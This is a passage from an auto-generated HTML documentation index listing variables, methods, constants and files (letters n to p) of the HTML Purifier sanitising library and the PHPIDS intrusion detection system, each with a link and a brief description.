class="index-item-description">Name of the application this schema is describing.</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Legacy.html#var$name">HTMLPurifier_HTMLModule_Legacy::$name</a> in Legacy.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Length.html#var$name">HTMLPurifier_AttrTransform_Length::$name</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#var$name">IDS_Event::$name</a> in Event.php</div> - <div class="index-item-description">Event name</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$name">HTMLPurifier_HTMLModule::$name</a> in HTMLModule.php</div> - <div class="index-item-description">Short unique string identifier of the module</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Bdo.html#var$name">HTMLPurifier_HTMLModule_Bdo::$name</a> in Bdo.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_CommonAttributes.html#var$name">HTMLPurifier_HTMLModule_CommonAttributes::$name</a> in CommonAttributes.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Cleanup.html#var$name">HTMLPurifier_DefinitionCache_Decorator_Cleanup::$name</a> in Cleanup.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Bool.html#var$name">HTMLPurifier_AttrDef_HTML_Bool::$name</a> in Bool.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter_ExtractStyleBlocks.html#var$name">HTMLPurifier_Filter_ExtractStyleBlocks::$name</a> in ExtractStyleBlocks.php</div> - </dd> - <dt class="field"> - <span class="var-title">$namespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Id.html#var$namespace">HTMLPurifier_ConfigSchema_Interchange_Id::$namespace</a> in Id.php</div> - </dd> - <dt class="field"> - <span class="var-title">$namespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Namespace.html#var$namespace">HTMLPurifier_ConfigSchema_Interchange_Namespace::$namespace</a> in Namespace.php</div> - <div class="index-item-description">Name of namespace defined.</div> - </dd> - <dt class="field"> - <span class="var-title">$namespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_DirectiveAlias.html#var$namespace">HTMLPurifier_ConfigDef_DirectiveAlias::$namespace</a> in DirectiveAlias.php</div> - <div class="index-item-description">Namespace being aliased to</div> - </dd> - <dt class="field"> - <span class="var-title">$namespaces</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange.html#var$namespaces">HTMLPurifier_ConfigSchema_Interchange::$namespaces</a> in Interchange.php</div> - <div class="index-item-description">Array of Namespace ID => array(namespace info)</div> - </dd> - <dt class="field"> - <span class="var-title">$needed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_PurifierLinkify.html#var$needed">HTMLPurifier_Injector_PurifierLinkify::$needed</a> in PurifierLinkify.php</div> - </dd> - <dt class="field"> - <span class="var-title">$needed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_DisplayLinkURI.html#var$needed">HTMLPurifier_Injector_DisplayLinkURI::$needed</a> in DisplayLinkURI.php</div> - </dd> - <dt class="field"> - <span class="var-title">$needed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_SafeObject.html#var$needed">HTMLPurifier_Injector_SafeObject::$needed</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="var-title">$needed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_AutoParagraph.html#var$needed">HTMLPurifier_Injector_AutoParagraph::$needed</a> in AutoParagraph.php</div> - </dd> - <dt class="field"> - <span class="var-title">$needed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_Linkify.html#var$needed">HTMLPurifier_Injector_Linkify::$needed</a> in Linkify.php</div> - </dd> - <dt class="field"> - <span class="var-title">$needed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#var$needed">HTMLPurifier_Injector::$needed</a> in Injector.php</div> - <div class="index-item-description">Array of elements and attributes this injector creates and therefore</div> - </dd> - <dt class="field"> - <span class="var-title">$negative</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Integer.html#var$negative">HTMLPurifier_AttrDef_Integer::$negative</a> in Integer.php</div> - <div class="index-item-description">Bool indicating whether or not negative values are allowed</div> - </dd> - <dt class="field"> - <span class="var-title">$non_negative</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Number.html#var$non_negative">HTMLPurifier_AttrDef_CSS_Number::$non_negative</a> in Number.php</div> - <div class="index-item-description">Bool indicating whether or not only positive values allowed.</div> - </dd> - <dt class="field"> - <span class="var-title">$number_def</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Percentage.html#var$number_def">HTMLPurifier_AttrDef_CSS_Percentage::$number_def</a> in Percentage.php</div> - <div class="index-item-description">Instance of HTMLPurifier_AttrDef_CSS_Number to defer number validation</div> - </dd> - <dt class="field"> - <span class="method-title">nonSpecialEntityCallback</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityParser.html#methodnonSpecialEntityCallback">HTMLPurifier_EntityParser::nonSpecialEntityCallback()</a> in EntityParser.php</div> - <div class="index-item-description">Callback function for substituteNonSpecialEntities() that does the work.</div> - </dd> - <dt class="field"> - <span class="method-title">normalize</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_PercentEncoder.html#methodnormalize">HTMLPurifier_PercentEncoder::normalize()</a> in PercentEncoder.php</div> - <div class="index-item-description">Fix up percent-encoding by decoding unreserved characters and normalizing.</div> - </dd> - <dt class="field"> - <span class="method-title">normalize</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#methodnormalize">HTMLPurifier_Lexer::normalize()</a> in Lexer.php</div> - <div class="index-item-description">Takes a piece of HTML and normalizes it by converting entities, fixing encoding, extracting bits, and other good stuff.</div> - </dd> - <dt class="field"> - <span class="method-title">notifyEnd</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodnotifyEnd">HTMLPurifier_Injector::notifyEnd()</a> in Injector.php</div> - <div class="index-item-description">Notifier that is called when an end token is processed</div> - </dd> - <dt class="field"> - <span class="include-title">Number.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---Number.php.html">Number.php</a> in Number.php</div> - </dd> - <dt class="field"> - <span class="include-title">Nmtokens.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---HTML---Nmtokens.php.html">Nmtokens.php</a> in Nmtokens.php</div> - </dd> - <dt class="field"> - <span class="include-title">Name.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---Name.php.html">Name.php</a> in Name.php</div> - </dd> - <dt class="field"> - <span class="include-title">Namespace.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigDef---Namespace.php.html">Namespace.php</a> in Namespace.php</div> - </dd> - <dt class="field"> - <span class="include-title">Namespace.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema---Interchange---Namespace.php.html">Namespace.php</a> in Namespace.php</div> - </dd> - <dt class="field"> - <span class="include-title">Null.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---DefinitionCache---Null.php.html">Null.php</a> in Null.php</div> - </dd> - <dt class="field"> - <span class="include-title">Name.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Name.php.html">Name.php</a> in Name.php</div> - </dd> - <dt class="field"> - <span class="include-title">NonXMLCommonAttributes.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---NonXMLCommonAttributes.php.html">NonXMLCommonAttributes.php</a> in NonXMLCommonAttributes.php</div> - </dd> - <dt class="field"> - <span class="include-title">Name.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Tidy---Name.php.html">Name.php</a> in Name.php</div> - </dd> - <dt class="field"> - <span class="include-title">news.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIScheme---news.php.html">news.php</a> in news.php</div> - </dd> - <dt class="field"> - <span class="include-title">nntp.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIScheme---nntp.php.html">nntp.php</a> in nntp.php</div> - </dd> - <dt class="field"> - <span class="include-title">Native.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---VarParser---Native.php.html">Native.php</a> in Native.php</div> - </dd> - </dl> - <a name="o"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">o</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$obj</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm_NullDecorator.html#var$obj">HTMLPurifier_Printer_ConfigForm_NullDecorator::$obj</a> in ConfigForm.php</div> - <div class="index-item-description">Printer being decorated</div> - </dd> - <dt class="field"> - <span class="var-title">$obj</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#var$obj">HTMLPurifier_ConfigSchema_ValidatorAtom::$obj</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="var-title">$objectStack</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_SafeObject.html#var$objectStack">HTMLPurifier_Injector_SafeObject::$objectStack</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="var-title">$ourHostParts</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_DisableExternal.html#var$ourHostParts">HTMLPurifier_URIFilter_DisableExternal::$ourHostParts</a> in DisableExternal.php</div> - </dd> - <dt class="field"> - <span class="var-title">$outputPrecision</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_UnitConverter.html#var$outputPrecision">HTMLPurifier_UnitConverter::$outputPrecision</a> in UnitConverter.php</div> - <div class="index-item-description">Minimum bcmath precision for output.</div> - </dd> - <dt class="field"> - <span class="method-title">offsetGet</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_StringHash.html#methodoffsetGet">HTMLPurifier_StringHash::offsetGet()</a> in StringHash.php</div> - <div class="index-item-description">Retrieves a value, and logs the access.</div> - </dd> - <dt class="field"> - <span class="method-title">openHandler</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_PEARSax3.html#methodopenHandler">HTMLPurifier_Lexer_PEARSax3::openHandler()</a> in PEARSax3.php</div> - <div class="index-item-description">Open tag event handler, interface is defined by PEAR package.</div> - </dd> - <dt class="field"> - <span class="include-title">Optional.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ChildDef---Optional.php.html">Optional.php</a> in Optional.php</div> - </dd> - <dt class="field"> - <span class="include-title">Object.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Object.php.html">Object.php</a> in Object.php</div> - </dd> - </dl> - <a name="p"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">p</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$paramStack</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_SafeObject.html#var$paramStack">HTMLPurifier_Injector_SafeObject::$paramStack</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="var-title">$parser</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#var$parser">HTMLPurifier_ConfigSchema_Validator::$parser</a> in Validator.php</div> - <div class="index-item-description">HTMLPurifier_VarParser to test default's type.</div> - </dd> - <dt class="field"> - <span class="var-title">$parser</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI.html#var$parser">HTMLPurifier_AttrDef_URI::$parser</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="var-title">$parser</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#var$parser">HTMLPurifier_Config::$parser</a> in Config.php</div> - <div class="index-item-description">Parser for variables</div> - </dd> - <dt class="field"> - <span class="var-title">$path</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#var$path">HTMLPurifier_URI::$path</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="var-title">$percentage</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_BackgroundPosition.html#var$percentage">HTMLPurifier_AttrDef_CSS_BackgroundPosition::$percentage</a> in BackgroundPosition.php</div> - </dd> - <dt class="field"> - <span class="var-title">$percentEncoder</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIParser.html#var$percentEncoder">HTMLPurifier_URIParser::$percentEncoder</a> in URIParser.php</div> - <div class="index-item-description">Instance of HTMLPurifier_PercentEncoder to do normalization with.</div> - </dd> - <dt class="field"> - <span class="var-title">$pixels</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Input.html#var$pixels">HTMLPurifier_AttrTransform_Input::$pixels</a> in Input.php</div> - </dd> - <dt class="field"> - <span class="var-title">$port</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#var$port">HTMLPurifier_URI::$port</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="var-title">$positive</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Integer.html#var$positive">HTMLPurifier_AttrDef_Integer::$positive</a> in Integer.php</div> - <div class="index-item-description">Bool indicating whether or not positive values are allowed</div> - </dd> - <dt class="field"> - <span class="var-title">$post</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter.html#var$post">HTMLPurifier_URIFilter::$post</a> in URIFilter.php</div> - <div class="index-item-description">True if this filter should be run after scheme validation.</div> - </dd> - <dt class="field"> - <span class="var-title">$post</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_Munge.html#var$post">HTMLPurifier_URIFilter_Munge::$post</a> in Munge.php</div> - </dd> - <dt class="field"> - <span class="var-title">$postFilters</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#var$postFilters">HTMLPurifier_URIDefinition::$postFilters</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="var-title">$prefixes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$prefixes">HTMLPurifier_HTMLModuleManager::$prefixes</a> in HTMLModuleManager.php</div> - <div class="index-item-description">List of prefixes we should use for registering small names</div> - </dd> - <dt class="field"> - <span class="var-title">$preserve</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_PercentEncoder.html#var$preserve">HTMLPurifier_PercentEncoder::$preserve</a> in PercentEncoder.php</div> - <div class="index-item-description">Reserved characters to preserve when using encode().</div> - </dd> - <dt class="field"> - <span class="method-title">parse</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#methodparse">HTMLPurifier_VarParser::parse()</a> in VarParser.php</div> - <div class="index-item-description">Validate a variable according to type. Throws HTMLPurifier_VarParserException if invalid.</div> - </dd> - <dt class="field"> - <span class="method-title">parse</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIParser.html#methodparse">HTMLPurifier_URIParser::parse()</a> in URIParser.php</div> - <div class="index-item-description">Parses a URI.</div> - </dd> - <dt class="field"> - <span class="method-title">parseAttributeString</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DirectLex.html#methodparseAttributeString">HTMLPurifier_Lexer_DirectLex::parseAttributeString()</a> in DirectLex.php</div> - <div class="index-item-description">Takes the inside of an HTML tag and makes an assoc array of attributes.</div> - </dd> - <dt class="field"> - <span class="method-title">parseCDATA</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef.html#methodparseCDATA">HTMLPurifier_AttrDef::parseCDATA()</a> in AttrDef.php</div> - <div class="index-item-description">Convenience method that parses a string as if it were CDATA.</div> - </dd> - <dt class="field"> - <span class="method-title">parseContents</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#methodparseContents">HTMLPurifier_HTMLModule::parseContents()</a> in HTMLModule.php</div> - <div class="index-item-description">Convenience function that transforms single-string contents</div> - </dd> - <dt class="field"> - <span class="method-title">parseData</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#methodparseData">HTMLPurifier_Lexer::parseData()</a> in Lexer.php</div> - <div class="index-item-description">Parses special entities into the proper characters.</div> - </dd> - <dt class="field"> - <span class="method-title">parseFile</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_StringHashParser.html#methodparseFile">HTMLPurifier_StringHashParser::parseFile()</a> in StringHashParser.php</div> - <div class="index-item-description">Parses a file that contains a single string-hash.</div> - </dd> - <dt class="field"> - <span class="method-title">parseHandle</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_StringHashParser.html#methodparseHandle">HTMLPurifier_StringHashParser::parseHandle()</a> in StringHashParser.php</div> - <div class="index-item-description">Internal parser that acepts a file handle.</div> - </dd> - <dt class="field"> - <span class="method-title">parseImplementation</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#methodparseImplementation">HTMLPurifier_VarParser::parseImplementation()</a> in VarParser.php</div> - <div class="index-item-description">Actually implements the parsing. Base implementation is to not</div> - </dd> - <dt class="field"> - <span class="method-title">parseImplementation</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser_Flexible.html#methodparseImplementation">HTMLPurifier_VarParser_Flexible::parseImplementation()</a> in Flexible.php</div> - </dd> - <dt class="field"> - <span class="method-title">parseImplementation</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser_Native.html#methodparseImplementation">HTMLPurifier_VarParser_Native::parseImplementation()</a> in Native.php</div> - </dd> - <dt class="field"> - <span class="method-title">parseMultiFile</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_StringHashParser.html#methodparseMultiFile">HTMLPurifier_StringHashParser::parseMultiFile()</a> in StringHashParser.php</div> - <div class="index-item-description">Parses a file that contains multiple string-hashes delimited by '----'</div> - </dd> - <dt class="field"> - <span class="method-title">parseTinyMCEAllowedList</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#methodparseTinyMCEAllowedList">HTMLPurifier_HTMLDefinition::parseTinyMCEAllowedList()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Parses a TinyMCE-flavored Allowed Elements and Attributes list into separate lists for processing. Format is element[attr1|attr2],element2...</div> - </dd> - <dt class="field"> - PCDATA - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#constPCDATA">HTML5::PCDATA</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">performInclusions</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrCollections.html#methodperformInclusions">HTMLPurifier_AttrCollections::performInclusions()</a> in AttrCollections.php</div> - <div class="index-item-description">Takes a reference to an attribute associative array and performs all inclusions specified by the zero index.</div> - </dd> - <dt class="field"> - <span class="const-title">PHP_EOL</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Bootstrap.php.html#definePHP_EOL">PHP_EOL</a> in Bootstrap.php</div> - </dd> - <dt class="field"> - PHRASING - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constPHRASING">HTML5TreeConstructer::PHRASING</a> in PH5P.php</div> - </dd> - <dt class="field"> - PLAINTEXT - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#constPLAINTEXT">HTML5::PLAINTEXT</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">populate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy.html#methodpopulate">HTMLPurifier_HTMLModule_Tidy::populate()</a> in Tidy.php</div> - <div class="index-item-description">Populates the module with transforms and other special-case code</div> - </dd> - <dt class="field"> - <span class="method-title">position</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token.html#methodposition">HTMLPurifier_Token::position()</a> in Token.php</div> - <div class="index-item-description">Sets the position of the token in the source document.</div> - </dd> - <dt class="field"> - <span class="method-title">postFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter.html#methodpostFilter">HTMLPurifier_Filter::postFilter()</a> in Filter.php</div> - <div class="index-item-description">Post-processor function, handles HTML after HTML Purifier</div> - </dd> - <dt class="field"> - <span class="method-title">postFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter_YouTube.html#methodpostFilter">HTMLPurifier_Filter_YouTube::postFilter()</a> in YouTube.php</div> - </dd> - <dt class="field"> - <span class="method-title">postFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#methodpostFilter">HTMLPurifier_URIDefinition::postFilter()</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">postProcess</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methodpostProcess">HTMLPurifier_ConfigSchema::postProcess()</a> in ConfigSchema.php</div> - <div class="index-item-description">Replaces any stdclass that only has the type property with type integer.</div> - </dd> - <dt class="field"> - <span class="method-title">preFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter_YouTube.html#methodpreFilter">HTMLPurifier_Filter_YouTube::preFilter()</a> in YouTube.php</div> - </dd> - <dt class="field"> - <span class="method-title">preFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter_ExtractStyleBlocks.html#methodpreFilter">HTMLPurifier_Filter_ExtractStyleBlocks::preFilter()</a> in ExtractStyleBlocks.php</div> - <div class="index-item-description">Removes inline <style> tags from HTML, saves them for later use</div> - </dd> - <dt class="field"> - <span class="method-title">preFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter.html#methodpreFilter">HTMLPurifier_Filter::preFilter()</a> in Filter.php</div> - <div class="index-item-description">Pre-processor function, handles HTML before HTML Purifier</div> - </dd> - <dt class="field"> - <span class="method-title">prepare</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_SafeObject.html#methodprepare">HTMLPurifier_Injector_SafeObject::prepare()</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="method-title">prepare</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_RemoveEmpty.html#methodprepare">HTMLPurifier_Injector_RemoveEmpty::prepare()</a> in RemoveEmpty.php</div> - </dd> - <dt class="field"> - <span class="method-title">prepare</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter.html#methodprepare">HTMLPurifier_URIFilter::prepare()</a> in URIFilter.php</div> - <div class="index-item-description">Performs initialization for the filter</div> - </dd> - <dt class="field"> - <span class="method-title">prepare</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_PurifierLinkify.html#methodprepare">HTMLPurifier_Injector_PurifierLinkify::prepare()</a> in PurifierLinkify.php</div> - </dd> - <dt class="field"> - <span class="method-title">prepare</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_DisableExternal.html#methodprepare">HTMLPurifier_URIFilter_DisableExternal::prepare()</a> in DisableExternal.php</div> - </dd> - <dt class="field"> - <span class="method-title">prepare</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_HostBlacklist.html#methodprepare">HTMLPurifier_URIFilter_HostBlacklist::prepare()</a> in HostBlacklist.php</div> - </dd> - <dt class="field"> - <span class="method-title">prepare</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_Munge.html#methodprepare">HTMLPurifier_URIFilter_Munge::prepare()</a> in Munge.php</div> - </dd> - <dt class="field"> - <span class="method-title">prepare</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodprepare">HTMLPurifier_Injector::prepare()</a> in Injector.php</div> - <div class="index-item-description">Prepares the injector by giving it the config and context objects: this allows references to important variables to be made within the injector. This function also checks if the HTML environment will work with the Injector (see checkNeeded()).</div> - </dd> - <dt class="field"> - <span class="method-title">prepare</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_MakeAbsolute.html#methodprepare">HTMLPurifier_URIFilter_MakeAbsolute::prepare()</a> in MakeAbsolute.php</div> - </dd> - <dt class="field"> - <span class="method-title">prepareArrayFromForm</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodprepareArrayFromForm">HTMLPurifier_Config::prepareArrayFromForm()</a> in Config.php</div> - <div class="index-item-description">Prepares an array from a form into something usable for the more</div> - </dd> - <dt class="field"> - <span class="method-title">prepareData</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_File.html#methodprepareData">IDS_Log_File::prepareData()</a> in File.php</div> - <div class="index-item-description">Prepares data</div> - </dd> - <dt class="field"> - <span class="method-title">prepareData</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#methodprepareData">IDS_Log_Email::prepareData()</a> in Email.php</div> - <div class="index-item-description">Prepares data</div> - </dd> - <dt class="field"> - <span class="method-title">prepareGenerator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#methodprepareGenerator">HTMLPurifier_Printer::prepareGenerator()</a> in Printer.php</div> - <div class="index-item-description">Give generator necessary configuration if possible</div> - </dd> - <dt class="field"> - <span class="method-title">prependCSS</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform.html#methodprependCSS">HTMLPurifier_AttrTransform::prependCSS()</a> in AttrTransform.php</div> - <div class="index-item-description">Prepends CSS properties to the style attribute, creating the attribute if it doesn't exist.</div> - </dd> - <dt class="field"> - <span class="method-title">prependCSS</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a 